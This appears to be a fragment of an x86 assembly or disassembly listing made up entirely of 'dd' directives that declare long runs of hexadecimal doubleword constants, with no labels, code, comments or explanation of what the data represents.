		dd 0F50CC64Bh, 0C644271h, 0DA3513BBh, 55E1249h,	0B8125930h
		dd 54F70244h, 0E0629402h, 7217DBADh, 5BE93705h,	0A8F255EFh
		dd 2C5A092Ch, 3A0B763Ch, 12B1510Bh, 50967180h, 0FCEAF9B4h
		dd 0AD4C33BAh, 0E2C044Bh, 13B84534h, 9356548h, 589588F6h
		dd 5F2ECD67h, 5A9DFEC9h, 16EE8640h, 2A9819E8h, 6875FC00h
		dd 3C71E91Ch, 0D4769701h, 0EF457DDAh, 9045093h,	0E71E198Eh
		dd 1078B67Ch, 66CF961Fh, 5C4AAB76h, 678AE5ECh, 10BBA08Bh
		dd 2014AE1h, 3655F9F3h,	3327E017h, 200E12B2h, 8127EF89h
		dd 68028FB4h, 0CAE707F3h, 485DEE8Bh, 910FA768h,	68598416h
		dd 128DBBDFh, 4ECF9B7Bh, 0CC8728AEh, 3F21759h, 0C22ABA2Dh
		dd 5D0C164h, 745A0742h,	0A3DCADD3h, 440BAA26h, 0E1137F3Dh
		dd 954B43DBh, 0F53ECFACh, 6DB264E1h, 6B3BCD52h,	5001F5B4h
		dd 55619150h, 827B6E37h, 447F40ADh, 0C7051C67h,	89E9C7B6h
		dd 804684C6h, 0D1778ECFh, 47F0444Eh, 55E5BD07h,	39E36805h
		dd 211CDEB3h, 913645Dh,	6C83DFAh, 12835F25h, 9007748Ch
		dd 5B94B63Fh, 0CF89E01Fh, 9A680C4Bh, 11E5FD3Ah,	0DACBA1A4h
		dd 0F2683C51h, 0F16ECCCFh, 2081A49h, 734AC3C5h,	577B4268h
		dd 0E963E4F1h, 24158E35h, 93850C3h, 33750144h, 48DDDA55h
		dd 91BD6833h, 280EA1Dh,	1DF07CE8h, 12A2C140h, 5BB8D24Ah
		dd 5816EA03h, 0A8BBE95Ah, 68122E76h, 0F3461771h, 75E37C7h
		dd 7E5359BBh, 99E4A243h, 0F127AC45h, 21494B15h,	0DFA1A545h
		dd 4C855C29h, 0C01EE881h, 5CB65276h, 96C60B80h,	0EA2084E9h
		dd 0CD743AB8h, 7BFB7F48h, 262F3F13h, 2909D9CEh,	0E40651C7h
		dd 0C0031071h, 0C48003ECh, 81FA857Bh, 6F42F282h, 0CE40FB8Bh
		dd 0DF47CBEDh, 7EC1F416h, 79521123h, 90594360h,	6866405Eh
		dd 74186725h, 25C1E08Fh
		dd 0B8017FD7h, 91FC90D2h, 14974E05h, 2DE10A13h,	0BA590F07h
		dd 0EDDA9540h, 0BFC201h, 0EE7C3583h, 24FAF255h,	5BDDC4E9h
		dd 0B858CADAh, 0A7EF1E96h, 64DB2A87h, 161EA15Dh, 4FA4BF04h
		dd 0BC849211h, 5EF26225h, 5692AF74h, 9A9DE909h,	1C16D779h
		dd 0E5AF0829h, 8AE512BCh, 143EAF50h, 103AF021h,	58269F6Bh
		dd 6D470284h, 0E3607798h, 41E9EA6h, 2190E9CAh, 87E78003h
		dd 0F6B9B551h, 35CEF5D5h, 0FD5C4030h, 0BE27A510h, 0C264FC89h
		dd 647DD3F7h, 95748B0h,	13FA909h, 0DD1632DFh, 71250047h
		dd 1C17094Dh, 57022CDBh, 0CA3CB3E9h, 8CC0B4Eh, 6842D4F9h
		dd 0E9A8A18Dh, 2006AC39h, 9E861C0Bh, 0D8A1F7B9h, 0F266E9CBh
		dd 0F4CDEB0Eh, 0B0F3E93h, 0C2C5C325h, 0EC1E01D1h, 0EC7D7911h
		dd 18B5F23Ch, 0D390CAAh, 8BF0AD0h, 77F03B0Bh, 7AC9291h
		dd 1D0E4405h, 6089504Dh, 0DDC22D20h, 0A73B7EE9h, 3062E2A3h
		dd 0B382D65Bh, 1C3B4740h, 0F9C3185Fh, 1212EE8Bh, 0AC75A252h
		dd 64BE126Bh, 2B8E1D41h, 0A13B0B61h, 0F29FFFECh, 9A4A977Ch
		dd 9659B2DFh, 8B2BB7D9h, 9A23100h, 0D2972B0Bh, 5B687F5Eh
		dd 41FE337h, 63AB0B2Dh,	7D7835C0h, 210F131Ah, 1C4805D3h
		dd 9621FE01h, 0BBA59CB7h, 6116CC78h, 0DC8416EDh, 14840712h
		dd 2EF657A0h, 902F1ECh,	43592BE1h, 34D8BD3Ah, 0D9BE2E93h
		dd 60E5625Fh, 1543BE0Ch, 27B390B2h, 6D11ABA7h, 6CC0E555h
		dd 10374C50h, 0BA00302Ch, 21991B8Bh, 8E0AF281h,	0F90DC211h
		dd 5B0A0102h, 2D9AE12Ch, 0BBB83883h, 0A9D4AE51h, 0D7E9CFCBh
		dd 0A905F240h, 0EA150877h, 0AE54384Dh, 0BF0EFC7Fh, 0D0A80066h
		dd 0CC9C7C7Fh, 0B7AF044Fh, 0EE296606h, 0ACB1E061h, 6E0F12Ch
		dd 0D6189558h, 8AA2BB5h, 1B4BFD64h, 1CB95B0Fh, 6A808518h
		dd 36BC918h, 963D3E10h,	0D32F9292h, 8A93D1F0h, 81DA10E8h
		dd 0F27603F5h, 5456ED14h, 651FFFE5h, 5768658Eh,	226A801h
		dd 0D16BA0C7h, 157F203Eh, 94F73316h, 6C43680Bh,	81DE96DDh
		dd 0BA00BD81h, 59722533h, 5D027FBCh, 0AB2A9A68h, 255FC2Bh
		dd 4D76701Fh, 746A541h,	30870CAh, 3742D9Bh, 0BD14A143h
		dd 37E7DF81h, 0CC0FE00h, 0CB3C5379h, 0C5ECB1Ch,	5A8A4915h
		dd 3F0102B8h, 896C8256h, 0E3041F9h, 0B6F62F05h,	1034509h
		dd 4E255494h, 0D4AA029h, 90483319h, 72530C36h, 49187051h
		dd 32606E7Eh, 1AF9B40Ch, 4462B7B7h, 0B3836BC2h,	8DA5B1Dh
		dd 74C15E6Ah, 0F72B0DE9h, 0D3AF50C9h, 343C6F17h, 0EADC12FEh
		dd 6C5B0B61h, 852FA32Ah, 0ED0CFE9h, 1E4A055Eh, 0CC139746h
		dd 5A182715h, 80385649h, 620990BAh, 0B70BA40Fh,	0DA89D8AEh
		dd 0FEA5387Bh, 0A268C1E0h, 551D957Eh, 50B900BAh, 8167E82Eh
		dd 2F4D77C1h, 0D4F4BF98h, 2E27A51h, 515D295Fh, 23346366h
		dd 0EF610B16h, 7382DE4h, 5E49935Fh, 1A757B83h, 6B81F664h
		dd 8A2807FBh, 4C83130h,	0B2D8F0E9h, 8244989Eh, 0B67DBFBh
		dd 98DFE528h, 80534141h, 4995D2F6h, 0C2CC5580h,	0BEB6FE10h
		dd 2BBF80C7h, 0C4353DBEh, 657B551Fh, 1EDEEECDh,	589BA32Fh
		dd 0F6A42543h, 5F66065h, 0EE5B6F23h, 0B289640Eh, 17C6CAAFh
		dd 1DC716E9h, 522EAABBh, 0BF093A11h, 20FD181Ah,	0CB4B5EADh
		dd 0F2D09F44h, 32D83139h, 0A15308C3h, 57935BF1h, 0B43F052Eh
		dd 0B7C2D162h, 8A307A17h, 90E95273h, 47532523h,	75A818F1h
		dd 33D4A2ACh, 33B2015Fh, 0CA681EC0h, 84A4F9D6h,	0C09C5E06h
		dd 792EA43h, 310E6712h,	4AE8B12h, 9CDC5DAh, 0C11CF701h
		dd 2DAE7BB5h, 0E9615FF4h, 1A816F80h, 486DA1BBh,	0F6D82B65h
		dd 7180017h, 8102D26h, 357A0163h, 6F274A13h, 4B901401h
		dd 0A36019BEh, 5EFCEC14h, 1293BC74h, 920AA66Fh,	0D71ECAEFh
		dd 0EC05C7C3h, 182EC40h, 58CA8915h, 640BEA8Eh, 9C589B5Bh
		dd 0C794B469h, 0C08E322Dh, 0BB59B693h, 9C5615FFh, 2580802Ch
		dd 22300674h, 326852D8h, 1D5312A3h, 5A480AD0h, 77E6508Eh
		dd 1CA2E5Ch, 7EB73787h,	71388DE9h, 7478802Fh, 0A43DF37Ah
		dd 5EED4F22h, 9E38EE93h, 69ED41A3h, 42BA0752h, 0EFD31809h
		dd 888604FBh, 0C2018774h, 0BD005697h, 0F30B041Bh, 7B23816Fh
		dd 48152675h, 7158C420h, 4E56DAAFh, 8AD8B9Dh, 66530930h
		dd 0BF27A10Dh, 0C47F0B57h, 12D5EA9Dh, 2FD28BBAh, 0E5955C5Dh
		dd 0B1064002h, 473E0E3Fh, 7D2FEA0h, 3D60243Bh, 0C8CA8BEFh
		dd 9CC55809h, 8278261Dh, 6AD2302h, 215D041h, 56CFF59h
		dd 9CB15116h, 0AA1274F6h, 0F336CCCEh, 0B7B41E40h, 0C1819BD0h
		dd 4E706052h, 0ACADAD4Bh, 2DEE68A0h, 5697B391h,	48D79109h
		dd 370C957Fh, 0E37F0705h, 1D03650Dh, 0FF46ACEBh, 0E1645A28h
		dd 17DD6B67h, 52A02C7Fh, 9DAE12D2h, 0FE6EA782h,	0B8537098h
		dd 0CCE675C1h, 0DA70E864h, 2A860FCEh, 0EE810BBAh, 0F08E583Bh
		dd 660E6C1h, 0B628AE12h, 15D2952Fh, 9C888C2Fh, 9722FC5Ah
		dd 0BB53DE82h, 3AF7D552h, 246812E4h, 0C2B16430h, 0D70B1E54h
		dd 7134CE23h, 6B302C91h, 0E88056F0h, 8853129Bh,	0B906FECFh
		dd 4C6213B9h, 3F10995Ch, 555925F2h, 7599759Ch, 235E308h
		dd 8818B252h, 0A11096DFh, 0AA74693h, 9130C550h,	5E350ED9h
		dd 257B243Ah, 27A31CB8h, 9E9D1E57h, 0E2E98C61h,	0D128462Bh
		dd 3DF6B4E6h, 48577A25h, 28F67360h, 0A1ADFD27h,	6601A217h
		dd 6D05C8ADh, 2D2C3F76h, 930992B1h, 94CB77FAh, 0A9B3FC1Bh
		dd 0D2B4B8D3h, 24E67B88h, 0BC888C9Bh, 12DE6809h, 40731A01h
		dd 80FFCEFCh, 2B573AABh, 975E25E9h, 50164479h, 7028E237h
		dd 7A97F9F6h, 26489897h, 8C90FEC0h, 0AE064FF4h,	883951F8h
		dd 36EE2EE5h, 0DAF749CFh, 0ED0320F3h, 3E846812h, 0A298BCDh
		dd 82E33350h, 8422F284h, 2EB7EBCAh, 0C0AEB17h, 500C2C15h
		dd 7E0C88F6h, 4743CF68h, 59EF40ADh, 0A780424Fh,	985EEC40h
		dd 0E904C2A4h, 67488E66h, 0EAE4FD88h, 9771F69Dh, 0DB5CBCC7h
		dd 5D89482Ch, 4D157704h, 0EDFAC026h, 3D39688Ah,	5162AFC9h
		dd 0FE982CFh, 9747012Ah, 89CED92Dh, 72496DE9h, 0C3562BC3h
		dd 0D795930Bh, 91C01E18h, 0A6615782h, 83B5316Bh, 0EC0C1B80h
		dd 0C0C7A18h, 4573C32Dh, 0E1047E0Eh, 0EB0199A3h, 0ADE268EEh
		dd 2D45001h, 6E746857h,	7C779588h, 0CDF68007h, 7FD54F82h
		dd 687F516Eh, 46F67E4Fh, 0A77DF8D3h, 6BBCF34h, 6DC8CDC0h
		dd 0CBEA322Ch, 6F0BE192h, 7DF2C2DDh, 1F6205ECh,	8EEB2927h
		dd 0D4A9D6C8h, 0D1448990h, 3EAE17EDh, 0F5730767h, 9BE68230h
		dd 2B836860h, 0CA9D41ECh, 5B0809F0h, 74013F5Ah,	0BF1810F8h
		dd 1E47DC45h, 2E0BBA3h,	19D5BB2h, 2B69E9C7h, 0E9586C2Fh
		dd 0DFE39695h, 0D1559A2Fh, 0F0EE397Eh, 3040A839h, 787C64Dh
		dd 0CEFECFEEh, 0E4E9D8E4h, 0EE59C817h, 0CA0DD300h, 7B873Ah
		dd 21ABBA52h, 0D00937AFh, 0CFF1F9BDh, 0E3A5E40Bh, 0AD0FFEBh
		dd 607E58E5h, 0C6F50C56h, 374FFF38h, 0E04B3BC3h, 164FF1BEh
		dd 99210B0Eh, 0BE163E56h, 0DD87BBC1h, 45B2FA57h, 9C1E7EF0h
		dd 4D22CBF1h, 35016DF6h, 0DF04F59Eh, 0C4C5C53Bh, 969580B9h
		dd 42126D41h, 704554Eh,	45E4922Ah, 6F4F1DF2h, 0F0B98751h
		dd 0E941A012h, 4B40994h, 0E14B5783h, 0E3CAB026h, 67AC1636h
		dd 447718E9h, 0D19B8BEh, 0F583798h, 0ABC4D77Ch,	0ED800310h
		dd 88F5990Dh, 5C9A06A0h, 0D000FEE8h, 0B6527F2Ch, 6C25E9ECh
		dd 626C7E89h, 1BFFE413h
		dd 590CC9F9h, 0FA969A22h, 55C07C04h, 3191FA12h,	0C97CD327h
		dd 0B378E2C9h, 2D5DBF09h, 8C8685DDh, 40A08552h,	71746B33h
		dd 0F5D492DDh, 1988DDC5h, 167E2F6Ah, 0F43CF153h, 0DDF76683h
		dd 0D6A39695h, 7E6D829Ch, 6465020Bh, 50C1272Dh,	21F7E0A4h
		dd 34FCF2B8h, 0FCC97969h, 6F69983h, 22BC2BEAh, 226BBD1Ah
		dd 0F63EC2F7h, 3E123817h, 0CAC1EF18h, 0C980BD22h, 685056DDh
		dd 75242EB5h, 0C6020B11h, 0AB35C8E9h, 0F896DA69h, 68674014h
		dd 0EDD7CAFBh, 0F3F80C3Dh, 1D9828E6h, 6C378B2Dh, 0C7681071h
		dd 4C542E5Ah, 0FE012E09h, 0BFA342D4h, 6EBE86A0h, 0A004C33h
		dd 3FF68146h, 0B078FD23h, 0C5E8A1EAh, 9A10C77Dh, 24BA4EABh
		dd 2B12BAC1h, 0C204DEE9h, 0C3263972h, 0F8B0F2DCh, 21160F5Ch
		dd 5BA5AD0h, 0BAC8317Bh, 20D58044h, 10D6E916h, 0BBC726F9h
		dd 704EC23Dh, 8539E861h, 0CF43E90Dh, 24D19DFBh,	1E76055Dh
		dd 0A1C46C97h, 9168E015h, 47F20C4h, 81AABAB0h, 71C7348Dh
		dd 20B6DA8h, 0DAD817F7h, 3C30D7B4h, 23C0E1CFh, 0E764BFC7h
		dd 505BF626h, 1C9E0B72h, 7E470174h, 18DB6718h, 0E4B6EBBh
		dd 0E300E6ECh, 338D186Ch, 779EBC1h, 1466F304h, 0C6C075F5h
		dd 580EF98Bh, 33009A8Ah, 0E92A1C13h, 3180672Fh,	416390E8h
		dd 91926F1Ah, 8912C2E3h, 0DA685FD0h, 409716B2h,	5E5BDE0Dh
		dd 2D66B656h, 0D25E765Eh, 0CA2519D2h, 655E5C7Ch, 9962FB82h
		dd 606F582Bh, 65DAB85Fh, 1AF8499Eh, 0ECD0955Bh,	30DE5971h
		dd 0EEFC4E73h, 0E90EAFB8h, 8BF129D0h, 578FE150h, 310DD840h
		dd 0B7C4E7Eh, 0A8C10AD8h, 3D1D325Ah, 0DC2E69B8h, 0EC9302BBh
		dd 947CD29Ch, 36BC6805h, 87E95744h, 4BD20597h, 0A52ED122h
		dd 18C70B5Ch, 1862CC8Bh, 0D4343BDDh, 0A71D32BFh, 3D445756h
		dd 0DEB09275h, 0D67C1285h, 0FEC10863h, 8E1E4227h, 0C2836482h
		dd 0B05475E8h, 0E8894E5Ah, 0DC01B3D3h, 8452A2AEh, 57980D80h
		dd 93385449h, 4E7D17BFh, 0EF9000E8h, 6F6027F8h,	0E692C895h
		dd 0EAE31357h, 3071DD89h, 0A8C9EE8Bh, 369275D3h, 6E2C655Ch
		dd 76655D52h, 0E8130126h, 3F847CF2h, 0C061268h,	7D33436Dh
		dd 0F9861D6h, 78686652h, 0BC6B1397h, 0E9B189BDh, 4E9F68C9h
		dd 0D04E59B8h, 3F91C29Fh, 9410E43Dh, 5229539h, 8BF3020h
		dd 0F73181FFh, 1EF75003h, 0E43DFC6Ch, 521C995Ah, 11E4C331h
		dd 872F4A4Ch, 0F1CB903Dh, 7265177Ch, 0C4C30812h, 0E7AB8448h
		dd 62AC4F0h, 52E8CFD1h,	0F28AC14h, 5CD58851h, 886CEEDDh
		dd 2C87D313h, 0D05BDCEBh, 49D685E9h, 8EAC108h, 6827C442h
		dd 0F60D698Dh, 1819781h, 0CC2EF380h, 42F0AEBh, 3A34D4C8h
		dd 0A285B1Ah, 630BB354h, 0A8EA5352h, 70380BB4h,	54274441h
		dd 0F1816049h, 222D0B85h, 901D8902h, 48EFC1F6h,	5F803103h
		dd 890611EBh, 99E9F91Fh, 0C202C7E9h, 0E10F9235h, 4503C30Eh
		dd 0A43996B1h, 0D000E0D9h, 294FE760h, 0BC9A2FBh, 0A0B1D508h
		dd 6B096517h, 30EC898Dh, 94EAF3F8h, 12F493A4h, 45D0EB29h
		dd 97727CE9h, 3F551CA2h, 0E0A8C320h, 7A20FD2Eh,	0B25E18A9h
		dd 563D0C1Eh, 1059778h,	3A71E9DDh, 96F5BDD0h, 8CD14C31h
		dd 9600EA51h, 588345CEh, 0C1079D27h, 4477ED25h,	0C6E7C0E6h
		dd 853573B8h, 3501125Dh, 40047CEEh, 0B735E9C4h,	0BCF5838Bh
		dd 82DF8375h, 0BFC90B30h, 0F5AC57DAh, 7F5FC155h, 0E5FA043Dh
		dd 0E2B200D8h, 0C29D6F4Fh, 62FB84E4h, 703CF0CDh, 0C368AFD6h
		dd 0C7917AE9h, 0C1CEB8FCh, 7B29363Ch, 0A35B3BA3h, 2A64041Bh
		dd 0C4EB562Bh, 51DA7174h, 0A44C401Ah, 0C1952848h, 0C93AF6E8h
		dd 0E3AA4801h, 0E03F7A41h, 0AB0E2D21h, 0A16A123Bh, 66624898h
		dd 7057E94h, 0B938C54Ch, 64CEBC70h, 0D55C0987h,	912D7A4Ch
		dd 2DC51Ah, 4A4E30F6h, 0F2178936h, 0EF9FCE9h, 5416CF0Fh
		dd 0EF1706F3h, 81A00704h, 32F0913h, 0C643C84Fh,	94AE959Ah
		dd 0C7207AE6h, 3CB86F75h, 0F845484Eh, 0E196E215h, 0DF09163Ah
		dd 31F9C75Bh, 6B80E049h, 4A1A35F6h, 927FA995h, 6DCE4068h
		dd 194D0801h, 4808C231h, 0A05028F0h, 925CD2E9h,	44BF030Ch
		dd 0DBF71E11h, 81B3A6E1h, 7D543518h, 25D47E32h,	95484C4Dh
		dd 3BD3E210h, 0CCC51A55h, 55A6AB0Ch, 9BE91F38h,	0F59B0D60h
		dd 9D1C98C7h, 5FD180Ch,	0C02B9100h, 0DDC2D7Bh, 5087A88h
		dd 62A2103Eh, 7429BA5Ah, 0AA58A47Ah, 93103946h,	30DB50E2h
		dd 9DADE309h, 85CF0229h, 0E2FF44C5h, 308A3E34h,	82064C8h
		dd 9AFD59B7h, 48D54770h, 0A3A3540h, 29A47D57h, 72B988A1h
		dd 132A680Fh, 0F74151B3h, 94B1F27Fh, 1BAF10D0h,	0E805BE4Bh
		dd 0F5B449D2h, 212B3AEEh, 50125C8h, 0D1182638h,	2D8F30EFh
		dd 4B4F015Eh, 120B2F54h, 2968DB8Ch, 0AC847EA6h,	0BD6F4403h
		dd 24F52630h, 374A110h,	0ABAFF43Fh, 0CE10C301h,	5A00A2B2h
		dd 0AA35D8F7h, 0F424D3DBh, 0DB380F31h, 0CCD96616h, 0EBB8453Eh
		dd 0AA8035B0h, 0FE71F6D1h, 87029922h, 0F7652F0Ah, 767FC07Fh
		dd 3AD093Ah, 852C23E9h,	6D2F6868h, 1258C778h, 7B9ABF55h
		dd 42685C04h, 17049863h, 5A2F87BCh, 53C60066h, 1F42B8BBh
		dd 0E9124B71h, 41BAE516h, 0D23EE075h, 9CFC3077h, 0A5FC1248h
		dd 6873C1ABh, 30452B61h, 0D297CD10h, 4D6D6566h,	0CCD6745Ch
		dd 1012DEE4h, 25A1373Bh, 0A22DD8CCh, 0C139D30Ah, 7CEBB8E9h
		dd 8D1C9ED4h, 0D0EEC865h, 50A8E95Ah, 297AED27h,	0E17847F0h
		dd 6B2B7601h, 0E1C1FE1Fh, 0CC3560Eh, 35170C85h,	0B04CFC7Dh
		dd 0BF6DEAE9h, 0B105B314h, 0E5F18059h, 5DE28004h, 60C38CAEh
		dd 12905892h, 8AB23979h, 49B3C72Ch, 0E3B4CC16h,	773B9207h
		dd 4451B529h, 551677C9h, 27125B5Ch, 565123BAh, 81475B34h
		dd 4ED5FD5h, 888DCCAEh,	3C9AE041h, 7E8977CCh, 0A09E8A8Fh
		dd 0ABC85C4Eh, 0D14B4D0Bh, 0E53D21Eh, 0A212BDDEh, 0BE8DDF50h
		dd 0ED3AE20Eh, 97A3B4FFh, 5A6C8A4Fh, 808B34EDh,	725ECD1h
		dd 0C0634F15h, 0B80C00E4h, 73E01CCAh, 0C7442D40h, 3CEF0481h
		dd 0BE22DE35h, 6C2CE109h, 0DD8182BDh, 4962E91Ah, 0C0CAB224h
		dd 4226026Fh, 8509C2EEh, 0F0589C28h, 0E3549DF8h, 45896162h
		dd 4792D08h, 0D509A7EAh, 0A187B61h, 0E9E830F2h,	5E43BA5Dh
		dd 0F02609B1h, 0A9088A7Bh, 0F3D7962Ch, 25E890A7h, 104AC337h
		dd 0F9A9144h, 0C66CF280h, 9D10B129h, 0DCCBE07Eh, 42D90445h
		dd 2E09FE15h, 0CBB0B892h, 0B7D1B51Fh, 0DE637D40h, 0E981016Bh
		dd 2460380h, 0AF06D941h, 2703DE2Fh, 2FC0B476h, 504050Bh
		dd 0E007A2BBh, 82EF8440h, 7709A7CFh, 0F9BD58BCh, 0B47C8994h
		dd 8FC45D2Eh, 0DF1AB20Eh, 2760ED4Dh, 603B2734h,	0ADC25701h
		dd 103F852Fh, 4DFDDE68h, 3230E380h, 0F09D2977h,	30CA68CAh
		dd 0BDE9040Bh, 0A8B8DC67h, 13C9E7B5h, 0F7D34B57h, 0F42D8564h
		dd 0C7A0D6AEh, 10F72958h, 95DEB0A3h, 4443AF76h,	41CF1003h
		dd 0CE64281Bh, 88FE0273h, 16234C5Eh, 0BD3D5E92h, 250F3DCDh
		dd 0DD75C21Ah, 0E9871767h, 7F091738h, 0C224BE44h, 0E38F1E6Ch
		dd 59CE0C1Bh, 3E1016BAh, 0C2D500E7h, 690664B7h,	3709A390h
		dd 0D0539D77h, 0DF20555h, 0FE2C0208h, 3AC4B444h, 8A5F23CFh
		dd 0E24E73F2h, 612A2A3Dh, 0ACEF3E66h, 0BA346298h, 9379EBBh
		dd 0C032E3E9h, 9717A97Bh, 57616698h, 0DF102727h, 24E8B29Ah
		dd 0C3948BE9h, 26891BACh, 653D74D8h, 8AE7D711h,	3CE9C16Ah
		dd 0C7C981D6h, 0CF8078FAh
		dd 0B8418665h, 94070236h, 0F545AEF9h, 61FE535Ch, 3AE0E7CFh
		dd 0AF0070F6h, 0BB396107h, 0CB7272FBh, 95BB03B2h, 30EFE103h
		dd 0A9F1F4B1h, 0C43EE22Ah, 0F2B8CB7Fh, 6ED30D9Eh, 0C9803B93h
		dd 586575E4h, 0BA185C74h, 0B9C1CD43h, 5435700Fh, 513F9E29h
		dd 0F17DDC08h, 22B626C0h, 9072C680h, 1CBE8444h,	0BD6A65CFh
		dd 913A9912h, 417CD7A3h, 9C143D06h, 4F545E2Ch, 7CCD92CAh
		dd 9EE0A4h, 49DF4595h, 0FE00DD05h, 0C7212894h, 0F0E95158h
		dd 3C659B0Eh, 3B2A6791h, 0E52B99E6h, 1876B90Eh,	7A729904h
		dd 0D8050D58h, 30DE25DCh, 6D0E4902h, 904F5C43h,	0EA01B7C4h
		dd 219A0D89h, 604212B0h, 4A40E237h, 5295A008h, 214F252Bh
		dd 0FF589E2h, 8A77E3DEh, 96F01C13h, 0B45725D5h,	5F5B2767h
		dd 9D2650ECh, 34E7D4FEh, 624E7BD9h, 542F2513h, 0C2FBD233h
		dd 0B716C3FFh, 6E982F96h, 6DD2359Ah, 4A009ABAh,	4370C9E4h
		dd 5CBB0374h, 9B4DFD52h, 0C36F857h, 0BC24E727h,	38412CD2h
		dd 4BE076Ah, 0C07C274Fh, 874E49F6h, 957DF095h, 2FAA7C8Dh
		dd 6A8608A6h, 4321FDC3h, 0B693BE74h, 0C4ABE8F6h, 550BDBF5h
		dd 542FF67Eh, 25D55189h, 34687B60h, 0B4E98033h,	0B9E37A4Fh
		dd 35DBE07h, 0D5A8D439h, 0F082FEFEh, 0C6614053h, 25FB3F42h
		dd 62236998h, 78B58C2Ch, 73D9E94Eh, 9630DD70h, 0FFF792B5h
		dd 5A3A7238h, 0D5CABCFAh, 0AFF49397h, 0A96C5BCDh, 60F5895Fh
		dd 35DEF63Ch, 8C6FEh, 0F728D6D9h, 224BB3E9h, 5AC93E8Ch
		dd 7BB68C95h, 12B96556h, 4B71EF5Eh, 8C7A2BDDh, 215E5B6Fh
		dd 5B0DEDB4h, 69028CDEh, 5EAA3004h, 0BEC90540h,	5E6DA943h
		dd 1399B819h, 320DC501h, 94348B96h, 0B3494A13h,	8D11398h
		dd 0E909468Ah, 6190DDE6h, 47273160h, 4420DD19h,	16EC685Eh
		dd 0F234C6B5h, 5F051265h, 0F74F0079h, 7C9364D8h, 40001CBCh
		dd 8F58992Dh, 97294EE3h, 0F05C11BEh, 0ABEED81Ah, 50615418h
		dd 2F6C870Ch, 0EADC1082h, 0E91608A0h, 2CEEF0C0h, 162E26CCh
		dd 894A8E01h, 82523409h, 0E0DEF7F4h, 2D6316ABh,	7E7027BAh
		dd 17D112C3h, 0E78A0203h, 63627DFAh, 0DDA536C0h, 0F7B8E6C0h
		dd 20ADE77h, 0E25A7435h, 72414023h, 0DD6573C3h,	96C73216h
		dd 72D56847h, 453D88Ch,	0B78EB652h, 5A1B8288h, 0F696E1D7h
		dd 6E5B716Ah, 86CD7BE6h, 33F8C47Ah, 0F0EE7612h,	70DA872Fh
		dd 4F2FB79Fh, 0F4F7CEDFh, 0F805201Ch, 5D086653h, 31FC4FBh
		dd 86653B8Eh, 40DFFC84h, 58122EB1h, 0F5E1559Ch,	48088BCAh
		dd 80685D14h, 789D5A66h, 3F52EA49h, 0AD24EBB2h,	57C8BE6Fh
		dd 0E425587Bh, 8B1AAA81h, 0AD1EC33h, 4EBA16C0h,	0BF1D1774h
		dd 26946748h, 784927B6h, 22762035h, 2085B714h, 0C2800793h
		dd 0A03EFEFFh, 0D028A9EAh, 65028E9h, 0B9A59E83h, 3D34AF81h
		dd 79FD8902h, 312B8501h, 0CE8956E5h, 0B8FB49B4h, 34383D02h
		dd 7220D725h, 26A43B2Fh, 8131E925h, 6E2C5949h, 0E1A956E0h
		dd 8A65B93Bh, 3E0BBEF6h, 149AFDA0h, 0C5463CFFh,	0BCC6E927h
		dd 885B13FFh, 9C921EBh,	5B4803EAh, 0BFA1C0ECh, 8C2754DAh
		dd 7F5D5259h, 0D30FE6FEh, 0CE44FFA3h, 0A81D39C4h, 29892DB5h
		dd 5D1EC4E5h, 5B385AC0h, 9C59EF68h, 9A8062ECh, 320CA50Fh
		dd 0C8830D21h, 2077118Fh, 0B7D6A204h, 0EB831643h, 0C2DA084Ch
		dd 6856125Bh, 82F6C531h, 0E8E67B3Bh, 3F8F7397h,	0D89DC2BCh
		dd 0BC2E4D46h, 78D6AD29h, 4D7919FEh, 0C726F932h, 2B62A77Dh
		dd 0C582185Dh, 4DB1207Bh, 3376112Fh, 0C1239DBEh, 0F654403Fh
		dd 3ABDEE05h, 0D4BE77E2h, 5308157Eh, 0CA313E62h, 0ACEF68E0h
		dd 0E18A3D27h, 0D9A5C35Fh, 0BF4286FCh, 2537448Fh, 0A06016E6h
		dd 10028EE1h, 8CE9607Fh, 0BD35F39Dh, 10D54DA7h,	95C60194h
		dd 7E4F55E4h, 72B9B501h, 468B0F5Ch, 915CF8DCh, 0D419A8E2h
		dd 0BE59EA0h, 6FD6E1F0h, 0CBC4FC92h, 45B6E0BBh,	4C1063E9h
		dd 0BF20A1h, 0C581CD87h, 79756F6Ch, 314FDE95h, 49D7F708h
		dd 826A3D08h, 619705F0h, 6E49DDC7h, 8AD3A92Ch, 215D0182h
		dd 0D5FAE9D8h, 586DA77Eh, 440F863Fh, 0B3BE041Ch, 0BC74E76Eh
		dd 0EB2A1625h, 711E7BB9h, 5E33C91Ah, 4D9C9675h,	25028C8Bh
		dd 73783B49h, 0DD251E5Eh, 0FD1F7F81h, 0FEB23ED2h, 9AD01DC9h
		dd 0BE882A93h, 91E28BDh, 59E52743h, 1A350802h, 0C9BD9FF2h
		dd 0B6A785Bh, 5A455271h, 43DAC227h, 5AD7A874h, 6F20F352h
		dd 6B899DA7h, 6C451FF9h, 60BAFC90h, 4876FE63h, 11205355h
		dd 34BE5F4Ah, 0E9397090h, 0A5C57A95h, 21AEC331h, 0C5FFFF1h
		dd 31D640FCh, 68E62CBFh, 53534854h, 3E0C0DC1h, 0BE53C663h
		dd 7C80B116h, 1E69EB81h, 13476B71h, 81410F3h, 0E76AE90Dh
		dd 1F136E62h, 0B2B500FAh, 810AD651h, 9D28CD3Dh,	0E5811FC4h
		dd 27956F6Ah, 5A14D20h,	0E93B8E14h, 31BAB090h, 555AD025h
		dd 0AFEE6685h, 52009ECBh, 0FD5B91BAh, 4A5EE96Fh, 4E87AB84h
		dd 3A872B21h, 5DEB8EDh,	5C35BE51h, 162DD4F0h, 0DEA02EEh
		dd 0F1F1C83Ch, 5D1D3F96h, 5B986455h, 0B305EBBDh, 0AC056625h
		dd 7A340518h, 1DC45D0Fh, 132EECC9h, 0A1D3FCE8h,	0B59D63Fh
		dd 8B23F23Ah, 0B80CC457h, 80F52D1Dh, 1DCA5EF4h,	0A07296E2h
		dd 415BB910h, 264B60EAh, 8880E80h, 0C3919BFh, 2C705501h
		dd 324AC04Ch, 7F5368D2h, 49CABD59h, 205E20E9h, 0FD9AFB8Eh
		dd 32CC2BA0h, 0DE02119Dh, 0E261132Ah, 7CEF4BB3h, 1A4D2A8Ch
		dd 68C91C6Bh, 0F84C1CEh, 9537A6C8h, 9D59EE31h, 82DAEAD9h
		dd 7F934CD6h, 5B13DDE5h, 4CB039E0h, 4920D6C7h, 39DEB900h
		dd 0F181353Dh, 3F5D040Dh, 0E85EE95Bh, 71B25EE0h, 0B72388D2h
		dd 103255D0h, 0D1005BDDh, 0E0EA81E2h, 217D694Fh, 6F84E74Fh
